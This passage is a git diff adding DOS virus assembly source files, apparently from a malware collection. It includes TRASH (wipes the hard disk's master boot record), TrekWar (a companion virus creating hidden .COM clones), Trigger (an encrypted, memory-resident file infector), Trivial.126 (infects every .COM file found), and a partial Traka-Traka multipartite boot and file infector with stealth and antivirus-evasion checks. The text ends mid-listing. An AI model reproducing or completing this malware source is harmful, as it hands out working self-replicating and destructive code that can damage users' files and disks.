FLENLO[SI+100H],80*2 ; Move last line number up one + MOV DB0870+100H,0 ; Set characters going up + JMP SHORT BP1140 + + ; Restore video + +BP1120: POP BX +BP1130: MOV BX,DW0005[SI+100H] ; Get current line number + ADD BX,80*2 ; Next line + MOV DW0005[SI+100H],BX ; Save new current line number + MOV FLENLO[SI+100H],BX ; Save last line number +BP1140: INC SI ; \ Next character position + INC SI ; / + CMP SI,80*2 ; End of line? + JNE BP1080 ; Branch if not + CMP DB0870+100H,0 ; Are characters going down + JE BP1150 ; Branch if not + PUSH ES + PUSH DI + PUSH CX + PUSH DS ; \ Set ES to DS + POP ES ; / + PUSH CS ; \ Set DS to CS + POP DS ; / + MOV SI,OFFSET SIGNAT+100H ; From end of virus + XOR DI,DI ; To zero + MOV CX,80*25 ; Length to copy + REPZ MOVSW ; Restore video + MOV DSPCNT+100H,0FFDCH ; Restart display count (60 mins) + AND SWTCHB+100H,4 ; Set off all switches but three + OR SWTCHB+100H,88H ; Set on switches four and eight + MOV RSTCNT+100H,0 ; Set restore count off + XOR AX,AX ; \ Address zero + MOV DS,AX ; / + ASSUME DS:BOOT + MOV AX,I09_OF+100H ; Get old Int 9 offset + MOV BW0024,AX ; Re-install Int 9 offset + MOV AX,I09_SG+100H ; Get old Int 9 segment + MOV BW0026,AX ; Re-install Int 9 segment + POP CX + POP DI + POP ES +BP1150: POP DS + POP SI + POP BX + RET + + ; Copy virus and transfer control + +BP1160: CLD + POP AX ; Recover return address + SUB AX,SI ; Subtract source offset + ADD AX,DI ; Add target offset + PUSH ES ; Push new segment + PUSH AX ; Push new return address + REPZ MOVSB ; Copy virus + RETF ; Return to copy + + DB 090H +SIGNAT DW 0E850H + DB 0E2H, 003H, 08BH + +ENDADR EQU $ + +CODE ENDS + + END + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/t/TRASH.ASM b/t/TRASH.ASM new file mode 100755 index 0000000..b979f1a --- /dev/null +++ b/t/TRASH.ASM @@ -0,0 +1,169 @@ + page ,132 + title Trash - smashes the boot record on the first hard disk + name TRASH + + .radix 16 + +code segment + assume cs:code,ds:code + + org 100 + +CODEX equ 0C000 ; Or use 0300 when tracing DOS + +CR equ 0Dh +LF equ 0A + +start: + jmp do_it + +oldint1 dd ? +newintx dd ? +oldintx dd ? +trace db 1 +found db 0 +buffer db 200 dup (0) +message db CR,LF,'********** W A R N I N G ! ! ! **********',CR,LF,CR,LF + db 'This program, when run, will zero (DESTROY!) the',CR,LF + db 'master boot record of your first hard disk.',CR,LF,CR,LF + db 'The purpose of this is to test the antivirus software,',CR,LF + db 'so be sure you have installed your favourite',CR,LF + db 'protecting program before running this one!',CR,LF + db "(It's almost sure it will fail to protect you anyway!)",CR,LF + db CR,LF,'Press any key to abort, or',CR,LF + db 'press Ctrl-Alt-RightShift-F5 to proceed (at your own risk!) $' +warned db CR,LF,CR,LF,'Allright, you were warned!',CR,LF,'$' + +do_it: + mov ax,600 ; Clear the screen by scrolling it up + mov bh,7 + mov dx,1950 + xor cx,cx + int 10 + + mov ah,0F ; Get the current video mode + int 10 ; (the video page, more exactly) + + mov ah,2 ; Home the cursor + xor dx,dx + int 10 + + mov ah,9 ; Print a warning message + mov dx,offset message + int 21 + + mov ax,0C08 ; Flush the keyboard and get a char + int 21 + cmp al,0 ; Extendet ASCII? + jne quit1 ; Exit if not + mov ah,8 ; Get the key code + int 21 + cmp al,6C ; Shift-F5? + jne quit1 ; Exit if not + mov ah,2 ; Get keyboard shift status + int 16 + and al,1101b ; Ctrl-Alt-RightShift? + jnz proceed ; Proceed if so +quit1: + jmp quit ; Otherwise exit + +proceed: + mov ah,9 ; Print the last message + mov dx,offset warned + int 21 + + mov ax,3501 ; Get interrupt vector 1 (single steping) + int 21 + mov word ptr oldint1,bx + mov word ptr oldint1+2,es + + mov ax,2501 ; Set new INT 1 handler + mov dx,offset newint1 + int 21 + + mov ax,3513 ; Get interrupt vector 13 + int 21 + mov word ptr oldintx,bx + mov word ptr oldintx+2,es + mov word ptr newintx,bx + mov word ptr newintx+2,es + +; The following code is sacred in it's present form. +; To change it would cause volcanos to errupt, +; the ground to shake, and program not to run! + + mov ax,200 + push ax + push cs + mov ax,offset done + push ax + mov ax,100 + push ax + push cs + mov ax,offset faddr + push ax + mov ah,55 + iret + + assume ds:nothing + +faddr: + jmp oldintx + +newint1: + push bp + mov bp,sp + cmp trace,0 + jne search +exit: + and [bp+6],not 100 +exit1: + pop bp + iret +search: + cmp [bp+4],CODEX + jb exit1 +;Or use ja if you want to trace DOS-owned interrupt + push ax + mov ax,[bp+4] + mov word ptr newintx+2,ax + mov ax,[bp+2] + mov word ptr newintx,ax + pop ax + mov found,1 + mov trace,0 + jmp exit + + assume ds:code +done: + mov trace,0 + push ds + mov ax,word ptr oldint1+2 + mov dx,word ptr oldint1 + mov ds,ax + mov ax,2501 ; Restore old INT 1 handler + int 21 + pop ds + +; Code beyong this point is not sacred... +; It may be perverted in any manner by any pervert. + + cmp found,1 ; See if original INT 13 handler found + jne quit ; Exit if not + push ds + pop es ; Restore ES + + mov ax,301 ; Write 1 sector + mov cx,1 ; Cylinder 0, sector 1 + mov dx,80 ; Head 0, drive 80h + mov bx,offset buffer + pushf ; Simulate INT 13 + call newintx ; Do it + +quit: + mov ax,4C00 ; Exit program + int 21 + +code ends + end start + \ No newline at end of file diff --git a/t/TREKWAR.ASM b/t/TREKWAR.ASM new file mode 100755 index 0000000..1fa30b0 --- /dev/null +++ b/t/TREKWAR.ASM @@ -0,0 +1,185 @@ +;TREKWAR virus - we were overjoyed at Crypt Newsletter when Goose showed +;us his update of CloneWar, TrekWar. Alert readers will remember ACME, +;the musical companion based on ZENO, a relative of CloneWar. +;So here it is! +;TrekWar +;Ŀ +; Assembly Source Listing for TrekWar Companion Virus +; Copyright (c) 1993 T.R.E.K. All Rights Reserved. :) +;Ĵ +; The TrekWar is a simple modification of the Clonewar V2 companion virus; +; for all you trekkers out there... For those of you who, heaven forbid, do +; not know what the words below mean, they are the words to the old series +; opening music of Star Trek... +; + +CSEG SEGMENT + ASSUME CS:CSEG,DS:NOTHING + + ORG 100H + +START: + jmp VIR_BEGIN ;lets get moving... + + db "",13,10 + db "",13,10 + db "Beyond",13,10 ;blah blah blah + db "The rim of the star-light",13,10 + db "My love",13,10 + db "Is wand'ring in star-flight",13,10 + db "I know",13,10 + db "He'll find in star-clustered reaches",13,10 + db "Love",13,10 + db "Strange love a star woman teaches.",13,10 + db "I know",13,10 + db "His journey ends never",13,10 + db "His star trek",13,10 + db "Will go on forever.",13,10 + db "But tell him",13,10 + db "While he wanders his starry sea",13,10 + db "Remember, remember me." + db "",13,10 + db "",13,10 + + db "[TrekWar] " ;what the heck, its only a few bytes!? +WILDCARD DB "*.EXE",0 +FILE_EXT DB "COM",0 +FILE_FOUND DB 12 DUP(' '), 0 +FILE_CREATE DB 12 DUP(' '), 0 +SEARCH_ATTRIB DW 17H +NUM_INFECT DW 0 + + +My_Cmd: +CMD_LEN DB 13 +FILE_CLONE DB 12 DUP (' '), 0 + +; +; Read all the directory filenames and store as records in buffer. +; + +Vir_begin: + + mov sp,offset STACK_HERE ;move stack down + mov bx,sp + add bx,15 + mov cl,4 + shr bx,cl + mov ah,4ah ;deallocate rest of memory + int 21h + + mov di,OFFSET FILE_CLONE ;Point to buffer. + mov si,OFFSET FILE_FOUND + mov cx,12 + rep movsb + +Read_dir: mov dx,OFFSET WILDCARD ;file mask for directory search + mov cx,SEARCH_ATTRIB + + mov ah,4Eh ;find first matching file + int 21h + + jc EXIT ;If empty directory, exit + +; + +Store_name: + + mov di,OFFSET FILE_FOUND ;Point to buffer. + mov si,158 ;stow the file found in buffer + mov cx,12 + rep movsb + + mov di,OFFSET FILE_CREATE ;Point to buffer. + mov si,158 + mov cx,12 + rep movsb + + cld + mov di,OFFSET FILE_CREATE + mov al,'.' + mov cx,9 + repne scasb ;find the '.' + + mov si,OFFSET FILE_EXT + mov cx,3 + rep movsb ;replace the .EXE with .COM + ;from buffer + +; + +Check_file: ;does the file exist? + mov dx,OFFSET FILE_CREATE + xor cx,cx + mov ax,3d00h ;Open file, read only + int 21h + jnc find_next + +; +Infect_file: ;create companion routine + + mov dx,OFFSET FILE_CREATE ;contains name of "companion" + xor cx,cx + mov ah,3ch ;construct file + int 21h + jc EXIT + + ;Write virus to companion file + xchg bx,ax + mov cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length + mov dx,OFFSET START + mov ah,40h ;write to file function + int 21h ;do it + + ;Close file + mov ah,3eh ;assumes bx still has file handle + int 21h + + ;Change attributes + mov dx,OFFSET FILE_CREATE ;of created file to + mov cx,3 ;(1) read only and (2) hidden + mov ax,4301h + int 21h + jmp prepare_command + +; +;...findnext... +; +find_next: + mov ah, 4fh ;find next... + int 21h + jmp store_name +; +Prepare_command: + + cld + mov di,OFFSET FILE_CLONE + mov al,0 + mov cx,12 + repne scasb ;find the end of string \0 + + mov al,0Dh ; + stosb ;replace \0 with a + + mov ax,12 ;store length of the command + sub ax,cx + mov CMD_LEN, al + +; + +Exit: + ;Run the original program + mov si, OFFSET MY_CMD + int 2Eh ;Pass command to command + ;interpreter for execution + mov ax,4C00H ;Exit to DOS + int 21h + + +END_OF_CODE = $ + +STACK_HERE EQU END_OF_CODE + 512 + +CSEG ENDS + END START + diff --git a/t/TRIGGER.ASM b/t/TRIGGER.ASM new file mode 100755 index 0000000..0c0fd30 --- /dev/null +++ b/t/TRIGGER.ASM @@ -0,0 +1,500 @@ + .model tiny + .code + .radix 16 + org 0 + + viruslength = (heap - entry) + virussizeK = (endvirus - entry + 3ff) / 400 + virussizepara = (virussizeK)*40 + + EXE_ID = 'PS' + +entry: + call past +next: + db 0,"Trigger by Dark Angel of Phalcon/Skism",0Dh,0A + db "Utilising Dark Angel's Multiple Encryptor (DAME)",0Dh,0A + db 0Dh,0A,0 + +checkstub db 72,0FA,0E,1F,0BA,00,0B8,0B8,40,00,8E,0C0,26,81,3E,63 + +past: cld + pop bp + + mov ax,0cf0 + mov bx,'DA' + int 21 + cmp bx,'GH' + jnz no_trigger +trigger: + push ds + push es + + push cs + pop ds + xor ax,ax +checkagain: + lea si,[bp+checkstub-next] + mov es,ax + xor di,di + mov cx,8 + rep cmpsw + jz trigger_it + inc ax + cmp ax,0a000 + jb checkagain + jmp exit_trigger +trigger_it: + mov [bp+patch-next],ax + mov ds,ax + mov byte ptr ds:73,0cbh + push bp + mov bp,-80 + jmp short $+2 + db 09a ; call far ptr + dw 1 +patch dw ? + pop bp + mov byte ptr ds:73,1f +exit_trigger: + pop es + pop ds + jmp short restore + +no_trigger: + mov ax,4b90 + int 21 + cmp ax,bx + jz restore + + push ds + push es + + mov ax,ds + dec ax + mov ds,ax + sub word ptr ds:3,virussizepara + sub word ptr ds:12,virussizepara + mov es,ds:12 + + push cs + pop ds + + xor di,di + lea si,[bp+offset entry-offset next] + mov cx,(viruslength + 1)/2 + rep movsw + + xor ax,ax + mov ds,ax + sub word ptr ds:413,virussizeK + + mov di,offset oldint21 + mov si,21*4 + movsw + movsw + + cli + + pushf + pushf + pop ax + or ah,1 + push ax + + mov ds:1*4+2,es + mov word ptr ds:1*4,offset int1_1 + + popf + + mov ah,30 + pushf + call dword ptr ds:21*4 + + popf + + lds si,dword ptr es:oldint21 + mov di,si + lodsw + mov word ptr es:int21patch1,ax + lodsw + mov word ptr es:int21patch2,ax + lodsb + mov byte ptr es:int21patch3,al + + push ds ; es:di->int 21 handler + push es + pop ds ; ds->high segment + pop es + + mov al,0ea + stosb + mov ax,offset int21 + stosw + mov ax,ds + stosw + sti + + pop es + pop ds + +restore: + cmp sp,-2 + jnz restoreEXE +restoreCOM: + lea si,[bp+readbuffer-next] + mov di,100 + push di + movsw + movsw + ret +restoreEXE: + mov ax,ds + add ax,10 + add cs:[bp+readbuffer+16-next], ax + add ax,cs:[bp+readbuffer+0e-next] + mov ss,ax + mov sp,cs:[bp+readbuffer+10-next] + jmp dword ptr cs:[bp+readbuffer+14-next] + +readbuffer dw 20cdh + dw 0bh dup (?) + +int1_1: + push bp + mov bp,sp + push ax + + mov ax, [bp+4] ; get segment + cmp ax, cs:oldint21+2 + jae exitint1 + mov cs:oldint21+2,ax + mov ax, [bp+2] + mov cs:oldint21,ax +exitint1: + pop ax + pop bp + iret + +int1_2: + push bp + mov bp,sp + push ax + + mov ax,cs + cmp ax,[bp+4] + jz exitint1 + + mov ax,[bp+4] + cmp ax,cs:oldint21+2 + jnz int1_2_restore + + mov ax,[bp+2] + cmp ax,cs:oldint21 + jb int1_2_restore + sub ax,5 + cmp ax,cs:oldint21 + jbe exitint1 +int1_2_restore: + push es + push di + cld + les di,dword ptr cs:oldint21 + mov al,0ea + stosb + mov ax,offset int21 + stosw + mov ax,cs + stosw + pop di + pop es + + and [bp+6],0feff + jmp exitint1 + +install: + mov bx,ax + iret +int21: + cmp ax,4b90 + jz install + + push ds + push di + lds di,dword ptr cs:oldint21 + mov word ptr ds:[di],1234 +int21patch1 = $ - 2 + mov word ptr ds:[di+2],1234 +int21patch2 = $ - 2 + mov byte ptr ds:[di+4],12 +int21patch3 = $ - 1 + pop di + pop ds + + cld + + cmp ax,4b00 + jz infect + +exitint21: + push ds + push ax + + xor ax,ax + mov ds,ax + cli + mov word ptr ds:1*4,offset int1_2 + mov ds:1*4+2,cs + sti + + pushf + pop ax + or ah,1 + push ax + popf + pop ax + pop ds + db 0ea +oldint21 dw 0, 0 + +callint21: + pushf + call dword ptr cs:oldint21 + ret + +already_infected: + pop dx + pop cx + mov ax,5701 + call callint21 + + mov ah,3e + call callint21 +exitnoclose: + mov ax,4301 + pop dx + pop ds + pop cx + call callint21 + +exitinfect: + pop es + pop ds + pop di + pop si + pop bp + pop bx + pop dx + pop cx + pop ax + jmp exitint21 + +infect: + push ax + push cx + push dx + push bx + push bp + push si + push di + push ds + push es + + mov ax,4300 + call callint21 + push cx + push ds + push dx + + mov ax,4301 + xor cx,cx + call callint21 + + mov ax,3d02 + call callint21 + jc exitnoclose + xchg ax,bx + + mov ax,5700 + int 21 + push cx + push dx + + mov ah,3f + mov cx,18 + push cs + pop ds + push cs + pop es + mov dx,offset readbuffer + mov si,dx + call callint21 + jc already_infected + + mov di,offset writebuffer + mov cx,18/2 + + push si + push di + + rep movsw + + pop di + pop si + + mov ax,4202 + xor cx,cx + cwd + int 21 + + cmp word ptr [di],'ZM' + jnz infectCOM + +infectEXE: + cmp readbuffer+10,EXE_ID +go_already_infected: + jz already_infected + + mov ds:writebuffer+4,ax + mov ds:writebuffer+2,dx + + mov cx,10 + div cx + + sub ax,ds:writebuffer+8 + + mov ds:writebuffer+14,dx + mov ds:writebuffer+16,ax + + xchg cx,dx + + mov ds:writebuffer+0e,ax + mov ds:writebuffer+10,EXE_ID + + mov al,10b + jmp finishinfect + +infectCOM: ; si = readbuffer, di = writebuffer + push ax + + mov cx,4 + xor dx,dx +check_infection_loop: + lodsb + add dl,al + loop check_infection_loop + + pop ax + + or dl,dl + jz go_already_infected + + mov dx,18 + cmp ax,dx + jnb no_fixup_com + + mov ax,4200 + xor cx,cx + int 21 +no_fixup_com: + mov cx,ax + inc ch ; add cx,100 + sub ax,3 + push ax + mov al,0e9 + stosb + pop ax + stosw + add al,ah + add al,0e9 + neg al + stosb + + mov al,11b +finishinfect: + cbw +; ax = bitmask +; bx = start decrypt in carrier file +; cx = encrypt length +; dx = start encrypt in virus +; si = buffer to put decryption routine +; di = buffer to put encryption routine + push bx + + xchg cx,bx + + xor si,si + mov di,offset copyvirus + mov cx,(heap-entry+1)/2 + rep movsw + + push ax + call rnd_init_seed + pop ax + + mov dx,offset copyvirus + mov cx,viruslength + mov si,offset _decryptbuffer + mov di,offset _encryptbuffer + call dame + + push cx + + cmp ds:writebuffer,'ZM' + jnz no_fix_header + + mov dx,ds:writebuffer+2 + mov ax,ds:writebuffer+4 + add cx,viruslength + add ax,cx + adc dx,0 + mov cx,200 + div cx + or dx,dx + jz nohiccup + inc ax +nohiccup: + mov ds:writebuffer+4,ax + mov ds:writebuffer+2,dx +no_fix_header: + call di + pop cx + + pop bx + + mov ah,40 + mov dx,offset _decryptbuffer + call callint21 + + mov ah,40 + mov cx,viruslength + mov dx,offset copyvirus + call callint21 + + mov ax,4200 + xor cx,cx + cwd + int 21 + + mov ah,40 + mov cx,18 + mov dx,offset writebuffer + call callint21 + jmp already_infected + +vars = 0 +include dame.asm + +heap: +vars = 1 +include dame.asm + +writebuffer dw 0c dup (?) +_encryptbuffer: db 80 dup (?) +_decryptbuffer: db 180 dup (?) +copyvirus db viruslength dup (?) + db 20 dup (?) +endvirus: + +end entry + diff --git a/t/TRIV_126.ASM b/t/TRIV_126.ASM new file mode 100755 index 0000000..27e071d --- /dev/null +++ b/t/TRIV_126.ASM @@ -0,0 +1,103 @@ +; ------------------------------------------------------------------------------ +; +; - Trivial.126 - +; Created by Immortal Riot's destructive development team +; (c) 1994 The Unforgiven/Immortal Riot +; +; ------------------------------------------------------------------------------ +; Highly detected COM-infector +; ------------------------------------------------------------------------------ +.model tiny +.code +.radix 16 +org 100h ; cs:100h => start of com file + + +start: + +storbuf db 00,00,00,00 ; just for the first generation! + ; this will not be written in the + ; files, making the file increase + ; equal to 126 bytes! +v_start: +call get_off ; ;) + +get_off: +pop bp ; get delta-offset +sub bp, offset get_off + + +lea si,[bp+orgbuf] ; transer 3 first bytes (2 than 1) +mov di,100h ; from position di:100h to orgbuf! +movsw ; +movsb ; + +mov ah,1ah +lea dx,[bp+code_end] ; set dta +int 21h ; to end of program + +mov ah,4eh ; search for files that +lea dx,[bp+com_files] ; match with the extension +find_next: ; 'COM' +int 21h + +jnc infect ; found one! + +quit: +mov bx,100h ; did not, return +jmp bx ; to original program! + +infect: +lea dx,[bp+code_end+1eh] ; 1eh = adress to filename to open +mov ax,3d02h ; open file +int 21h ; in read/write mode + +xchg ax,bx ; put filehandle in bx + +mov ah,3fh ; read the first three bytes +mov cx,3 ; of the file to orgbuf +lea dx,[bp+orgbuf] +int 21h + +mov ax,4202h ; move file-pointer +xor cx,cx ; to end of file +cwd +int 21h + +sub ax,3h ; substract the 3 last bytes +mov word ptr [bp+first_bytes+1],ax ; and put em in our buffer + +mov ah,40h ; write virus +mov cx,code_end-v_start ; # bytes +lea dx,[bp+v_start] ; dx:100h +int 21h ; + +mov ax,4200h ; move file-pointer to +xor cx,cx ; top of file +cwd +int 21h + +mov ah,40h ; write our own jump +mov cx,3 ; instruction to the +lea dx,[bp+first_bytes] ; beginning +int 21h + +close: +mov ah,3eh ; close file +int 21h + +mov ah,4fh ; search next file +jmp short find_next ; and loop the procedure + ; until all files are infected + +com_files: +db "*.com",0 ; files to search for + +first_bytes: +db 0e9h,00h,00h ; buffer to calculate a new entry + +orgbuf: +db 0cdh,20h,90h ; buffer to save 3 first bytes + +code_end: +end start diff --git a/t/TRKATRKA.ASM b/t/TRKATRKA.ASM new file mode 100755 index 0000000..bee36c4 --- /dev/null +++ b/t/TRKATRKA.ASM @@ -0,0 +1,932 @@ +; +; MODIFIED TO COMPILE ON ENGLISH VERSION OF TASM +; see trkatrka.org for original source +; +; The name 'traka-traka' comes from a joke very good known here in Argentina... +; +; The Joke +; +; Once upon a time there was a woman who spent all the money given from her +; husband buying stupid things.. +; One morning while she was shoppin' saw a little animal at a pets shop and +; she bought it. +; That night when her husband arrived at home the woman showed him that +; little animal sayin'.. +; - 'Honey! this mornin' I butgh this beautiful animal called traka-traka... +; it can eat anything... +; see! traka-traka that table!' and the little animal started to eat the +; table... 'traka-traka the tv..' and the little animal started to eat +; the tv... +; +; Her husband was very angry and said 'I'm tired of your your stupid things! +; I'm not workin'so hard for nuthing stop buyin' that stupid things..' +; +; - 'but darlin' it's a beautiful animal.. see! traka-traja the newspaper' +; and the animal started to eat the newspaper' +; +; So the man said 'traka-traka??? traka-traka MY BALLS!! >:-\ ' + + + +code segment para public +assume cs:code, ss:code + +LarVir = (FinVir - ComVir) +VirMem = (FinVirMem - ComVir) +pushval = 6Ah +pushvals = 68h +yo = 'A!' +id = 'TT' + +ComVir label byte + push bp + push ax + push bx + push cx + push di + push si + + call entry +entry: + pop bp + sub bp,offset entry + mov ax,offset res + add ax,bp + call ax + mov si,103h + lodsw + cmp ax,id + jne de_exe + mov di,100h + mov si,offset com_buf + add si,bp + movsw + movsw + movsb + +de_com: + pop si + pop di + pop cx + pop bx + pop ax + pop bp + push bx + push bx + mov bx,sp + mov word ptr [bx+2],100h + pop bx + ret + +com_buf dw 9090h,9090h + db 90h + +de_exe: + push ds + push es + + lea si,retorno+2 + add si,bp + mov di,si + + push bp + + mov bp,ds + add bp,10h + + push cs + push cs + pop es + pop ds + + lodsw + add ax,bp + stosw + + lodsw + add ax,bp + stosw + + pop bp + + pop es + pop ds + + pop si + pop di + pop cx + pop bx + pop ax + pop ax + + cli + mov ss,word ptr cs:stacke + bp + mov sp,word ptr cs:stacke + 2 + bp + sti + + mov bp,ax + xor ax,ax + +db 0EAh +retorno dw offset Host,0 +stacke dw 0,offset FinVir+100h + +res: + mov bx,id + mov ah,0A7h + int 13h + cmp bx,yo + jz Yasta + + push ds + push es + + mov ax,ds + dec ax + mov es,ax + mov ax,es:[3] + sub ax,(VirMem / 16) + 2 + xchg bx,ax + mov ah,4Ah + push ds + pop es + int 21h + + mov ah,48h + mov bx,(VirMem / 16) + 1 + int 21h + jc no_mem + + dec ax + mov es,ax + mov word ptr es:[0001],0008 + + inc ax + mov es,ax + xor di,di + mov si,di + add si,bp + push cs + pop ds + mov cx,LarVir + rep movsb + nop + + mov cx,offset Nueva_int21 + mov si,21h*4 + mov di,offset Int21 + call hook_int + + mov cx,offset Nueva_int13 + mov si,13h*4 + mov di,offset Int13 + call hook_int + + push cs ; traka-trak el risquido + mov cx,offset meto_ria + add cx,bp + push cx + + push es + mov cx,offset memo_ria + push cx + retf + +meto_ria: + +no_mem: + pop es + pop ds + +Yasta: + ret + +hook_int: + push ds + push es + cli + xor ax,ax + mov ds,ax + xchg ax,cx + xchg ax,[si] + stosw + mov ax,es + xchg [si+2],ax + stosw + sti + pop es + pop ds + ret + +memo_ria: + call HD + retf + +;seal db '[TRAkA-TRAkA]' +iname db '[TRAkA-TRAkA]' + +Nueva_int21: + cmp ah,30h + jz aca_stoy + cmp ah,11h + jz FCB + cmp ah,12h + jz FCB + cmp ah,4Eh + jz Handle + cmp ah,4Fh + jz Handle + cmp ax,4B00h + jne salida21 + jmp InfeXt + +salida21: + db 0EAh +Int21 dw 0,0 + +aca_stoy: + cmp bx,id + jne salida21 + mov bx,yo + retf 0002 + +FCB: + pushf + call dword ptr cs:Int21 + or al,al + jnz salida_FCB + push ax + push bx + push es + mov ah,2Fh + int 21h + cmp byte ptr es:[bx],0FFh + jne short_FCB + add bx,7 + +short_FCB: + mov ax,es:[bx+17h] + and al,1Fh + xor al,00001010b + cmp al,1Fh + jne como_va + sub word ptr es:[bx+1Dh],LarVir + sbb word ptr es:[bx+1Fh],0 + +como_va: + pop es + pop bx + pop ax + +salida_FCB: + iret + +Handle: + pushf + call dword ptr cs:Int21 + jc me_voy + push ax + push bx + push es + mov ah,2Fh + int 21h + mov ax,es:[bx+16h] + and al,1Fh + xor al,00001010b + cmp al,1Fh + jne como_va2 + sub word ptr es:[bx+1Ah],LarVir + sbb word ptr es:[bx+1Ch],0 + +como_va2: + pop es + pop bx + pop ax + +me_voy: + mov cs:Hnd_buf,ax + cli + sub sp,2 + pop ax + add sp,6 + push ax + sub sp,4 + sti + mov ax,cs:Hnd_buf + iret + +chk_names: + pushf + push es di + push ds + pop es + mov al,'.' + mov di,dx +no_es: + cld +busco1: + scasb + jne busco1 + std + mov al,'\' +busco2: + scasb + jne busco2 + inc di + inc di + mov ax,[di] + + cmp ax,'BT' ;TB's + je no_way + cmp ax,'CS' ;scan + je no_way + cmp ax,'-F' ;f-prot + je no_way + cmp ax,'LC' ;clean + je no_way + cmp ax,'DN' ;ndos + je no_way + cmp ax,'OC' ;command + je no_way + cmp ax,'D4' ;4dos + je no_way + cmp ax,'SV' ;Vsafe & Vshied + je no_way + +exit_chk_n: + pop di es + popf + ret + +no_way: + pop di es + popf + pop ax + jmp get_lozt + +InfeXt: + push ds + push dx + + pushf + call dword ptr cs:Int21 + push bp + mov bp,sp + push ax + pushf + push bx + push cx + push dx + push ds + + lds dx,[bp+2] + + call chk_names + + mov ax,3D02h + int 21h + xchg ax,bx + push bx + + mov ax,3524h + int 21h + mov cs:Old_24,bx + mov cs:Old_24+2,es + + mov ax,2524h + mov dx,offset Nueva_int24 + push cs + pop ds + int 21h + + pop bx + mov ax,5700h + int 21h + mov cs:[hora],cx + mov cs:[dia],dx + mov al,cl + and al,1Fh + xor al,00001010b + cmp al,1Fh + je me_fijo_igual + or cl,1Fh + xor cl,00001010b + mov cs:[hora],cx + +me_fijo_igual: + mov ah,3Fh + mov cx,18h + push cs + push cs + pop ds + pop es + mov dx,offset ExeHeader + int 21h + + mov si,dx + lodsw + cmp ax,'MZ' + je que_raro + cmp ax,'ZM' + jne NoEsExe +que_raro: + add si,10h + lodsw + cmp ax,id + jne No_t_exe + jmp chau + +NoEsExe: + inc si + lodsw + cmp ax,id + jne No_t_com + jmp chau + +No_t_com: + sub si,5 + mov di, offset com_buf + movsw + movsw + movsb + + mov al,02h + call ir_a_la + + dec ax + dec ax + dec ax + mov cs:saltox,ax + + call me_malengancho + jnc sigo_com + jmp chau + +sigo_com: + mov al,0 + call ir_a_la + + mov ah,40h + mov cx,5 + mov dx,offset nuevo_head + int 21h + + jmp termino + +No_t_exe: + mov di,offset retorno + movsw + movsw + + mov si,offset ExeHeader+0Eh + movsw + movsw + + mov di,offset ExeHeader+12h + mov ax, id + stosw + + mov al,02h + call ir_a_la + + push ax ; chequeo overlays + push dx + mov cx,512 + mov ax,word ptr ds:ExeHeader+4 + mul cx + pop bp + pop cx + cmp ax,cx + jb chau + cmp dx,bp + jb chau + + push cx + and cx,0Fh + mov word ptr ds:ExeHeader+14h,cx + pop ax + + mov dx,bp + + mov cl, 4 + shr ax, cl + mov cl, 12 + shl dx, cl + add dx, ax + sub dx, word ptr ds:ExeHeader+8 + push dx + + call me_malengancho + jc chau + + pop dx + mov word ptr ds:ExeHeader+16h,dx + inc dx + mov word ptr ds:ExeHeader+0Eh,dx + mov word ptr ds:ExeHeader+10h,((LarVir+100h+1)/2)*2 + + mov al, 02h ; total + call ir_a_la + + mov cx, 512 + div cx + inc ax + mov word ptr ds:ExeHeader+2, dx + mov word ptr ds:ExeHeader+4, ax + + add word ptr ds:ExeHeader+0Ah,((LarVir + 15) SHR 4)+16 + + mov al,0 + call ir_a_la + + mov ah, 40h + mov cx, 18h + mov dx, offset ExeHeader + int 21h + +termino: + mov ax,5701h + db 0B9h ;mov cx,hora +hora dw 0 + db 0BAh ; mov dx,dia +dia dw 0 + int 21h + +chau: + mov ah,3Eh + int 21h + + mov ax,2524h + lds dx,dword ptr cs:Old_24 + int 21h + +get_lozt: + pop ds + pop dx + pop cx + pop bx + + pop ax + mov bp, sp + mov [bp+12],ax + + pop ax + pop bp + add sp,4 + retf 0002 + +ir_a_la: + mov ah,42h + cwd + xor cx,cx + int 21h + ret + +me_malengancho: + mov ah,40h + mov cx,LarVir + cwd + int 21h + ret + +nuevo_head: + db 0E9h +saltox dw 0 + dw id + +Nueva_int24: + mov al,3 + iret + +Old_24 dw 0,0 + +re_boot: + jmp short boot_nuevo + db 90h + dw id + +boot_nuevo: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov sp,7C00h + sti + push 40h + pop ds + mov ax,ds:[13h] + dec ax + dec ax + dec ax + mov ds:[13h],ax + mov cl,6 + shl ax,cl + mov es,ax + push es + mov si,3 +devuelta: + mov ah,0 + mov dl,0 + int 13h + xor bx,bx + mov ax,0204h + db 0B9h ;mov cx,4F0Ch +sec_tr dw 0h + db 0BAh ;mov dx,100h +drv_hd dw 100h + int 13h + jnc sigo2 + dec si + jne devuelta +sigo2: + mov ax,offset sigo_al_boot + push ax + retf +Larboot = $ - offset re_boot + +sigo_al_boot: + mov bx,id + mov ah,0A7h + int 13h + cmp bx,yo + jz Yasta2 + + mov cx,offset Nueva_int13 + mov si,13h*4 + mov di,offset Int13 + push cs + pop es + call hook_int + +Yasta2: + db pushval, 0 + pop es + push es + mov si,offset boot_buf + mov di,7C00h + push di + push cs + pop ds + mov cx,512 + repz movsb + + call HD ;TRAkA-TRAkA el Disco Duro + + retf + +Nueva_int13: + cmp ah,0A7h + jnz sigue_todo + cmp bx,id + je boludo + jmp sale13 +boludo: + mov bx,yo + iret + +sigue_todo: + push ax + push bx + push cx + push di + push si + push ds + push es + + cmp ah,02 + jb chk21_1 + cmp ah,04 + jnb chk21_1 + or dl,dl + jnz stealth_duro + push 40h + pop ds + mov al,ds:[3Fh] + test al,1 + jnz salida13 + call infeXt13 + jmp short salida13 + +stealth_duro: + cmp dx,80h + jne salida13 + cmp cx,1 + jne salida13 + push ax + push cx + mov al,1 + mov cl,15 ;ax 0202h -> 0201h + call int13real ;cx 0001h -> 0002h + pop cx ;dx 0080h -> 0080h + pop ax + dec al + cmp al,0 + je me_lo_creo + inc cl + add bx,200h + call int13real + sub bx,200h + dec cl + +me_lo_creo: + pop es + pop ds + pop si + pop di + pop cx + pop bx + pop ax + + inc al + xor ah,ah + clc + iret + +chk21_1: + xor ax,ax + mov ds,ax + mov si,21h*4 + lodsw + or ax,ax + jz salida13 + lodsw + or ax,ax + jz salida13 + +chk21_2: + mov bx,id + mov ah,30h + int 21h + cmp bx,yo + je salida13 + +colgome: + mov cx,offset Nueva_int21 + mov si,21h*4 + mov di,offset 